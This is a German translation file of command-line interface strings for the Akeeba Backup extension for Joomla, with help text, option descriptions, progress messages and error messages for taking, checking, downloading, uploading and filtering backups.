COM_AKEEBABACKUP_CLI_ERR_FECHECK_HTTP_ERROR="Ihr Versuch zur Prüfung auf fehlgeschlagene Backups ist mit dem HTTP-Fehlercode %d (%s) fehlgeschlagen. Bitte überprüfen Sie das Fehlerprotokoll Ihres Servers für weitere Informationen."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NO_MESSAGE_FROM_SERVER="Ihr Backup-Versuch hat das Zeitlimit überschritten oder es ist ein fataler PHP-Fehler aufgetreten. Bitte überprüfen Sie das Backup-Protokoll und das Fehlerprotokoll Ihres Servers für weitere Informationen."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NO_MESSAGE_FROM_SERVER="Ihr Versuch, auf fehlgeschlagene Backups zu prüfen, hat das Zeitlimit überschritten oder es ist ein fataler PHP-Fehler aufgetreten."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR_RECEIVED="Ein Backup-Fehler ist aufgetreten. Die Serverantwort war:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_ERROR_RECEIVED="Ein Fehler bei der Prüfung auf fehlgeschlagene Backups ist aufgetreten. Die Serverantwort war:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_ERROR403_RECEIVED="Der Server hat die Verbindung abgelehnt. Bitte stellen Sie sicher, dass die Frontend-Backup-Funktion aktiviert ist und ein gültiges Geheimwort vorhanden ist."
COM_AKEEBABACKUP_CLI_ERR_SERVER_RESPONSE="Serverantwort:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE="Wir konnten die Serverantwort nicht verstehen. Höchstwahrscheinlich ist ein Backup-Fehler aufgetreten. Die Serverantwort war:"
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE="Wir konnten die Serverantwort nicht verstehen. Höchstwahrscheinlich ist ein Fehler bei der Prüfung auf fehlgeschlagene Backups aufgetreten. Die Serverantwort war:"
COM_AKEEBABACKUP_CLI_ERR_CORRUPT_RESPONSE_INFO="Wenn Sie am Ende dieser Ausgabe nicht „200 OK" sehen, ist das Backup fehlgeschlagen."
COM_AKEEBABACKUP_CLI_ERR_FECHECKS_CORRUPT_RESPONSE_INFO="Wenn Sie am Ende dieser Ausgabe nicht „200 OK" sehen, ist die Prüfung auf fehlgeschlagene Backups fehlgeschlagen."

COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_HELP="<info>%command.name%</info> wird auf fehlgeschlagene Backup-Versuche mit Akeeba Backup prüfen, indem seine Frontend-Funktion verwendet wird.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_CHECK_ALT_COMMAND_DESC="Auf fehlgeschlagene Akeeba Backup-Backups mit der Frontend-Funktion prüfen"

COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_HELP="<info>%command.name%</info> wird auf Akeeba Backup-Backups prüfen, die nicht in den Remote-Speicher hochgeladen werden konnten, indem seine Frontend-Funktion verwendet wird.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_UPLOADCHECK_ALT_COMMAND_DESC="Auf Akeeba Backup-Backups prüfen, die nicht in den Remote-Speicher hochgeladen werden konnten, mit der Frontend-Funktion"

COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_HELP="<info>%command.name%</info> erstellt ein Backup mit Akeeba Backup, indem seine Frontend-Backup-Funktion verwendet wird.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_COMMAND_DESC="Ein Backup mit der Frontend-Backup-Funktion von Akeeba Backup erstellen"
COM_AKEEBABACKUP_CLI_BACKUP_ALT_OPT_PROFILE="Profilnummer"
COM_AKEEBABACKUP_CLI_HEAD_BACKUP_ALTERNATE="Ein Backup mit der Frontend-Backup-Funktion von Akeeba Backup erstellen"

COM_AKEEBABACKUP_CLI_HEAD_CHECK_ALTERNATE="Auf fehlgeschlagene Backup-Versuche mit Akeeba Backup über die Frontend-Funktion prüfen"

COM_AKEEBABACKUP_CLI_LBL_UNSET_TIME_LIMITS="Zeitlimitbeschränkungen aufheben"
COM_AKEEBABACKUP_CLI_LBL_START_BACKUP_WITH_PROFILE="Ein Backup mit Backup-Profil Nr. %d starten"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_BACKUP="[%s] Backup wird gestartet"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_CHECK="[%s] Prüfung auf fehlgeschlagene Backups wird gestartet"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_BEGINNING_UPLOADCHECK="[%s] Prüfung auf fehlgeschlagene Uploads wird gestartet"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_RECEIVED_HTTP="[%s] HTTP %d empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_NO_MESSAGE="[%s] Keine Nachricht empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_PROGRESS_RECEIVED="[%s] Backup-Fortschrittssignal empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_FINALISATION_RECEIVED="[%s] Backup-Abschlussmeldung empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CHECKS_FINALISATION_RECEIVED="[%s] Prüfungsabschlussmeldung empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR500_RECEIVED="[%s] Fehlersignal empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_ERROR403_RECEIVED="[%s] Verbindung verweigert (403) Meldung empfangen"
COM_AKEEBABACKUP_CLI_LBL_CONSOLELOG_CORRUPT="[%s] Serverantwort konnte nicht geparst werden."

COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_HEAD="Ihr Backup wurde erfolgreich abgeschlossen."
COM_AKEEBABACKUP_CLI_LBL_FEBACKUP_FINISH_DETAILS="Bitte überprüfen Sie Ihre Backup-Protokolldatei auf Warnmeldungen. Wenn Sie solche Meldungen sehen, stellen Sie bitte sicher, dass Ihr Backup ordnungsgemäß funktioniert, indem Sie versuchen, es auf einem lokalen Server wiederherzustellen."

COM_AKEEBABACKUP_CLI_LBL_FECHECK_FINISH_HEAD="Prüfungen wurden erfolgreich abgeschlossen."

COM_AKEEBABACKUP_CLI_HEAD_CHECK="Auf fehlgeschlagene Backup-Versuche mit Akeeba Backup prüfen"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_HELP="<info>%command.name%</info> wird auf fehlgeschlagene Backup-Versuche mit Akeeba Backup prüfen\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_CHECK_DESC="Auf fehlgeschlagene Akeeba Backup-Backup-Versuche prüfen"

COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD_ALTERNATE="Auf Akeeba Backup-Backups prüfen, die nicht in den Remote-Speicher hochgeladen werden konnten (Frontend-Funktion)"
COM_AKEEBABACKUP_CLI_HEAD_FAILEDUPLOAD="Auf Akeeba Backup-Backups prüfen, die nicht in den Remote-Speicher hochgeladen werden konnten"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_HELP="<info>%command.name%</info> wird auf Backups prüfen, die mit Akeeba Backup erstellt wurden und nicht in den Remote-Speicher hochgeladen werden konnten.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FAILEDUPLOAD_DESC="Auf Akeeba Backup-Backups prüfen, die nicht hochgeladen werden konnten"

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DELETE="Akeeba Backup-Datensatz Nr. %d wird gelöscht"
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE_FILES="Die Dateien des Backup-Datensatzes Nr. %d wurden gelöscht."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DELETE="Der Backup-Datensatz Nr. %d wurde gelöscht."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE_FILES="Die Dateien des Backup-Datensatzes Nr. %d können nicht gelöscht werden: %s"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DELETE="Backup-Datensatz Nr. %d kann nicht gelöscht werden: %s"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_HELP="<info>%command.name%</info> löscht einen Akeeba Backup bekannten Backup-Datensatz oder nur seine Dateien\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_DESC="Löscht einen Akeeba Backup bekannten Backup-Datensatz oder nur seine Dateien"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ID="Die ID des zu löschenden Backup-Datensatzes"
COM_AKEEBABACKUP_CLI_BACKUP_DELETE_OPT_ONLY_FILES="Nur die auf dem Server der Website gespeicherten Backup-Dateien löschen, nicht den Datensatz selbst."

COM_AKEEBABACKUP_CLI_HEAD_BACKUP_DOWNLOAD="Teil Nr. %d des Akeeba Backup-Datensatzes Nr. %d wird abgerufen"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES="Backup-Datensatz '%s' hat keine zum Download verfügbaren Dateien. Haben Sie sie bereits gelöscht?"
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_NO_FILES_MAYBE_REMOTE="Backup-Datensatz '%s' hat keine zum Download auf dem Server verfügbaren Dateien. Wenn sie remote gespeichert sind, müssen Sie möglicherweise zuerst den Befehl fetch verwenden."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_OUT_OF_RANGE="Es gibt keinen Teil '%s' des Backup-Datensatzes '%s'."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_MISSING="Teil '%s' des Backup-Datensatzes '%s' kann auf dem Server nicht gefunden werden."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNREADABLE="'%s' kann nicht zum Lesen geöffnet werden. Überprüfen Sie die Berechtigungen / ACLs der Datei."
COM_AKEEBABACKUP_CLI_ERR_BACKUP_DOWNLOAD_PART_FILE_UNWRITEABLE="'%s' kann nicht zum Schreiben geöffnet werden. Überprüfen Sie, ob der Ordner existiert und die Berechtigungen / ACLs des enthaltenden Ordners und der Datei."
COM_AKEEBABACKUP_CLI_LBL_BACKUP_DOWNLOAD_DONE="Teil %d des Backup-Datensatzes Nr. %d in Datei %s heruntergeladen"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_HELP="<info>%command.name%</info> gibt eine Datei mit einem Backup-Archivteil eines Akeeba Backup bekannten Backup-Datensatzes aus oder schreibt sie\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_DESC="Gibt einen Backup-Archivteil für einen Akeeba Backup bekannten Backup-Datensatz zurück"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_ID="Die ID des Backup-Datensatzes, für den Archive abgerufen werden sollen"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_PART="Die Teilnummer des abzurufenden Backup-Archivs"
COM_AKEEBABACKUP_CLI_BACKUP_DOWNLOAD_OPT_FILE="Dateipfad zum Schreiben. Wird auf STDOUT ausgegeben, wenn nicht definiert."

COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HEAD="Die remote gespeicherten Dateien für Akeeba Backup-Datensatz Nr. %d werden abgerufen"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_SECTION_DOWNLOADING="Backup-Archiv für Backup Nr. %d wird heruntergeladen"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_PART_FRAG="Teildatei: %d, Dateifragment: %d"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_LBL_FINISHED="Das Abrufen der Dateien des Backup-Datensatzes '%s' wurde abgeschlossen."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_ERR_FAILED="Das Abrufen der Dateien des Backup-Datensatzes '%s' ist fehlgeschlagen."
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_HELP="<info>%command.name%</info> lädt die Backup-Archive eines Akeeba Backup bekannten Backups vom Remote-Speicher zurück auf den Server herunter.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_DESC="Ein Backup vom Remote-Speicher zurück auf den Server herunterladen"
COM_AKEEBABACKUP_CLI_BACKUP_FETCH_OPT_ID="Die ID des abzurufenden Backup-Datensatzes"

COM_AKEEBABACKUP_CLI_BACKUP_INFO_HEAD="Informationen für Akeeba Backup-Datensatz Nr. %d"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_HELP="<info>%command.name%</info> listet einen Akeeba Backup bekannten Backup-Datensatz auf\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_DESC="Listet einen Akeeba Backup bekannten Backup-Datensatz auf"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_ID="Die ID des aufzulistenden Backup-Datensatzes"
COM_AKEEBABACKUP_CLI_BACKUP_INFO_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_BACKUP_LIST_HEAD="Liste der Akeeba Backup-Datensätze, die Ihren Kriterien entsprechen"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_HELP="<info>%command.name%</info> listet Akeeba Backup bekannte Backup-Datensätze auf\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_DESC="Listet Akeeba Backup bekannte Backup-Datensätze auf"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FROM="Wie viele Backup-Datensätze übersprungen werden sollen, bevor die Ausgabe beginnt."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_LIMIT="Maximale Anzahl der anzuzeigenden Backup-Datensätze."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_DESCRIPTION="Aufgelistete Backup-Datensätze müssen dieser (teilweisen) Beschreibung entsprechen."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_AFTER="Backup-Datensätze auflisten, die nach diesem Datum erstellt wurden."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_BEFORE="Backup-Datensätze auflisten, die vor diesem Datum erstellt wurden."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_ORIGIN="Nur Backups von diesem Ursprung auflisten: backend, frontend, json, cli."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_PROFILE="Backups auflisten, die mit diesem Profil erstellt wurden. Geben Sie die numerische Profil-ID an."
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_BY="Ausgabe nach der angegebenen Spalte sortieren: id, description, profile_id, backupstart"
COM_AKEEBABACKUP_CLI_BACKUP_LIST_OPT_SORT_ORDER="Sortierreihenfolge: asc, desc."

COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HEAD="Akeeba Backup-Datensatz Nr. %d wird geändert"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_HELP="<info>%command.name%</info> ändert einen Akeeba Backup bekannten Backup-Datensatz\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_DESC="Ändert einen Akeeba Backup bekannten Backup-Datensatz"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_DESC_AND_COMMENT_REQUIRED="Sie müssen eine oder beide der Optionen --description und --comment angeben"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_ERR_CANNOT_MODIFY="Backup-Datensatz Nr. %d kann nicht geändert werden"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_LBL_MODIFIED="Backup-Datensatz Nr. %d wurde geändert."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_ID="Die ID des zu ändernden Backup-Datensatzes"
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_DESCRIPTION="Die Kurzbeschreibung auf diesen Wert ändern."
COM_AKEEBABACKUP_CLI_BACKUP_MODIFY_OPT_COMMENT="Den Backup-Kommentar auf diesen Wert ändern (akzeptiert HTML)."

COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HEAD="Ein Backup mit Akeeba Backup erstellen"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_SECTION_START="Backup mit Profil Nr. %s wird gestartet."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_LASTTICK="Letzter Tick   : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_DOMAIN="Domäne         : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_STEP="Schritt        : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_SUBSTEP="Unterschritt   : %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_PROGRESS="Fortschritt    : %1.2f%%"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_CONSOLELOG_MEMORY="Speichernutzung: %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_PEAKMEM="Maximale Speichernutzung: %s"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_TOTALTILE="Backup-Schleife nach %s beendet"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE_WITH_WARNINGS="Der Backup-Prozess ist jetzt mit Warnungen abgeschlossen."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_LBL_COMPLETE="Der Backup-Prozess ist jetzt abgeschlossen."
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_HELP="<info>%command.name%</info> erstellt ein Backup mit Akeeba Backup\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_DESC="Ein Backup mit Akeeba Backup erstellen"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_PROFILE="Profilnummer"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_DESCRIPTION="Kurzbeschreibung für den Backup-Datensatz, akzeptiert die Standard-Akeeba-Backup-Archivbenennungsvariablen"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_COMMENT="Längerer Kommentar für den Backup-Datensatz, in HTML angeben"
COM_AKEEBABACKUP_CLI_BACKUP_TAKE_OPT_OVERRIDES="Konfigurationsüberschreibungen im Format \"schlüssel1=wert1,schlüssel2=wert2\" einrichten"

COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HEAD="Akeeba Backup-Datensatz Nr. %d wird erneut hochgeladen"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_PROGRESS="Backup-Datensatz '%s', Teildatei Nr. %s, Fragment Nr. %s wird erneut hochgeladen. Dies kann eine Weile dauern."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_LBL_COMPLETE="Der erneute Upload von Backup-Datensatz '%s' ist abgeschlossen."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_ERR_FAILED="Der erneute Upload von Backup-Datensatz '%s' ist fehlgeschlagen."
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_HELP="<info>%command.name%</info> versucht erneut, ein Akeeba Backup bekanntes Backup in den Remote-Speicher hochzuladen.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_DESC="Erneuten Upload eines Backups in den Remote-Speicher wiederholen"
COM_AKEEBABACKUP_CLI_BACKUP_UPLOAD_OPT_ID="Die ID des hochzuladenden Backup-Datensatzes"

COM_AKEEBABACKUP_CLI_FILTER_DELETE_HEAD="%s-Filter \"%s\" vom Typ %s aus Profil Nr. %d wird gelöscht"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_DATABASE="Datenbank"
COM_AKEEBABACKUP_CLI_FILTER_TYPE_FILESYSTEM="Dateisystem"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_UNKNOWN_ROOT="Unbekanntes %s-Stammverzeichnis '%s'."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ONLY_PRO="Filter vom Typ '%s' sind nur mit Akeeba Backup Professional verfügbar."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_ERR_FAILED="Filter '%s' vom Typ '%s' konnte nicht gelöscht werden."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_LBL_DELETED="Filter '%s' vom Typ '%s' gelöscht."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_HELP="<info>%command.name%</info> löscht einen Akeeba Backup bekannten Filterwert.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_DESC="Einen Akeeba Backup bekannten Filterwert löschen."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTER="Der zu löschende Filtername"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_ROOT="Welches Filter-Stammverzeichnis verwendet werden soll. Standardmäßig [SITEROOT] oder [SITEDB] je nach Filtertyp."
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_FILTERTYPE="Der Typ des zu löschenden Filters: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata, extradirs, multidb"
COM_AKEEBABACKUP_CLI_FILTER_DELETE_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."

COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HEAD="%s-Filter \"%s\" vom Typ %s wird zu Profil Nr. %d hinzugefügt"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_ERR_FAILED="Filter '%s' vom Typ '%s' konnte nicht hinzugefügt werden."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_LBL_SUCCESS="Filter '%s' vom Typ '%s' hinzugefügt."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_HELP="<info>%command.name%</info> setzt einen Datei-, Ordner- oder Tabellenausschlussfilter in Akeeba Backup.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_DESC="Einen Ausschlussfilter in Akeeba Backup setzen."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTER="Das hinzuzufügende Filterziel. Dies ist der vollständige Pfad zu einer Datei/einem Verzeichnis, ein Tabellenname oder ein regulärer Ausdruck, je nach Filtertyp."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_ROOT="Welches Filter-Stammverzeichnis verwendet werden soll. Standardmäßig [SITEROOT] oder [SITEDB] je nach Filtertyp."
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_FILTERTYPE="Der Typ des hinzuzufügenden Filters: files, directories, skipdirs, skipfiles, regexfiles, regexdirectories, regexskipdirs, regexskipfiles, tables, tabledata, regextables, regextabledata"
COM_AKEEBABACKUP_CLI_FILTER_EXCLUDE_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."

COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_NEED_PRO="Diese Funktion erfordert Akeeba Backup Professional"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_ALREADY_EXISTS="Die Datenbank '%s' ist bereits enthalten. Löschen Sie den alten Einschlussfilter, bevor Sie versuchen, die Datenbank erneut hinzuzufügen."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_CANNOT_CONNECT="Es konnte keine Verbindung zur Datenbank '%s' hergestellt werden. Der Server meldete '%s'. Verwenden Sie die Option --no-check, um trotzdem fortzufahren, aber beachten Sie, dass Ihr Backup höchstwahrscheinlich zu einem Fehler führen wird."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_ERR_FAILED="Datenbank '%s' konnte nicht einbezogen werden."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_LBL_ADDED="Datenbank '%s' hinzugefügt."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_HELP="<info>%command.name%</info> fügt eine zusätzliche Datenbank hinzu, die von Akeeba Backup gesichert werden soll.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_DESC="Fügt eine zusätzliche Datenbank hinzu, die von Akeeba Backup gesichert werden soll."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBDRIVER="Der zu verwendende Datenbanktreiber: mysqli, pdomysql"
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPORT="Der Port des Datenbankservers. Weglassen, um den Standardport des Treibers zu verwenden."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBUSERNAME="Der Datenbankverbindungs-Benutzername."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPASSWORD="Das Datenbankverbindungs-Passwort."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBNAME="Der Datenbankname."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_DBPREFIX="Das gemeinsame Präfix der Datenbanktabellennamen, ermöglicht es Ihnen, es bei der Wiederherstellung zu ändern."
COM_AKEEBABACKUP_CLI_FILTER_MULTIDB_OPT_CHECK="Die Datenbankverbindung vor dem Hinzufügen des Filters prüfen."

COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_EXISTS="Das Verzeichnis '%s' ist bereits mit dem Stammverzeichnis '%s' enthalten. Löschen Sie den alten Einschlussfilter, bevor Sie versuchen, das Verzeichnis erneut hinzuzufügen."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_ERR_FAILED="Das Verzeichnis '%s' konnte nicht hinzugefügt werden."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_LBL_SUCCESS="Verzeichnis '%s' hinzugefügt."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_HELP="<info>%command.name%</info> fügt ein zusätzliches Off-Site-Verzeichnis hinzu, das von Akeeba Backup gesichert werden soll.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_DESC="Ein zusätzliches Off-Site-Verzeichnis hinzufügen, das von Akeeba Backup gesichert werden soll."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_DIRECTORY="Vollständiger Pfad zum Off-Site-Verzeichnis, das dem Backup hinzugefügt werden soll."
COM_AKEEBABACKUP_CLI_FILTER_INCLUDEFOLDER_OPT_VIRTUAL="Der Unterordner im Backup-Archiv, in dem diese Dateien gespeichert werden. Dies ist ein Unterordner des „virtuellen Verzeichnisses", dessen Name auf der Konfigurationsseite festgelegt ist. Weglassen für automatische Bestimmung."

COM_AKEEBABACKUP_CLI_FILTER_LIST_TITLE="Liste der Akeeba Backup-Filter, die Ihren Kriterien entsprechen"
COM_AKEEBABACKUP_CLI_FILTER_LIST_HELP="<info>%command.name%</info> listet Filterwerte für ein Akeeba Backup-Profil auf.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_FILTER_LIST_DESC="Die Akeeba Backup bekannten Filterwerte abrufen."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_ROOT="Welches Filter-Stammverzeichnis verwendet werden soll. Standardmäßig [SITEROOT] oder [SITEDB] je nach der Option --target. Für --type=include ignoriert. Tipp: Die Dateisystem- und Datenbank-Stammverzeichnisse sind die „filter"-Spalte für --type=include. Es gibt zwei spezielle Stammverzeichnisse, [SITEROOT] (das Dateisystem-Stammverzeichnis der Joomla-Website) und [SITEDB] (die Hauptdatenbank der Joomla-Website)."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_PROFILE="Das zu verwendende Backup-Profil. Standard: 1."
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TARGET="Das Ziel der aufzulistenden Filter: fs (Dateien und Ordner) oder db (Datenbank)"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_TYPE="Der Typ der aufzulistenden Filter: exclude, include oder regex"
COM_AKEEBABACKUP_CLI_FILTER_LIST_OPT_FORMAT="Ausgabeformat: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_LOG_GET_HELP="<info>%command.name%</info> ruft eine Protokolldatei aus dem Ausgabeverzeichnis des angegebenen Akeeba Backup-Profils ab. Hinweis: Protokolldateien von anderen Backup-Profilen oder Akeeba Backup-Installationen, die dasselbe Ausgabeverzeichnis teilen, können ebenfalls abgerufen werden.\nVerwendung: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_LOG_GET_DESC="Eine Akeeba Backup bekannte Protokolldatei abrufen"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_PROFILE_ID="Protokolldateien im Ausgabeverzeichnis dieses Akeeba Backup-Profils werden abgerufen"
COM_AKEEBABACKUP_CLI_LOG_GET_OPT_LOG_TAG="Der Tag der abzurufenden Protokolldatei"

COM_AKEEBABACKUP_CLI_LOG_LIST_TITLE="Liste der Akeeba Backup-Protokolldateien für Ausgabeverzeichnis %s"
COM_AKEEBABACKUP_CLI_LOG_LIST_HELP="<info>%command.name%</info> listet alle Protokolldateien im Ausgabeverzeichnis des angegebenen Akeeba Backup-Profils auf. Hinweis: Protokolldateien von anderen Backup-Profilen oder Akeeba Backup-Installationen, die dasselbe Ausgabeverzeichnis teilen, werden ebenfalls aufgelistet.\nVerwendung: <info>php %command.full_name%</info>"
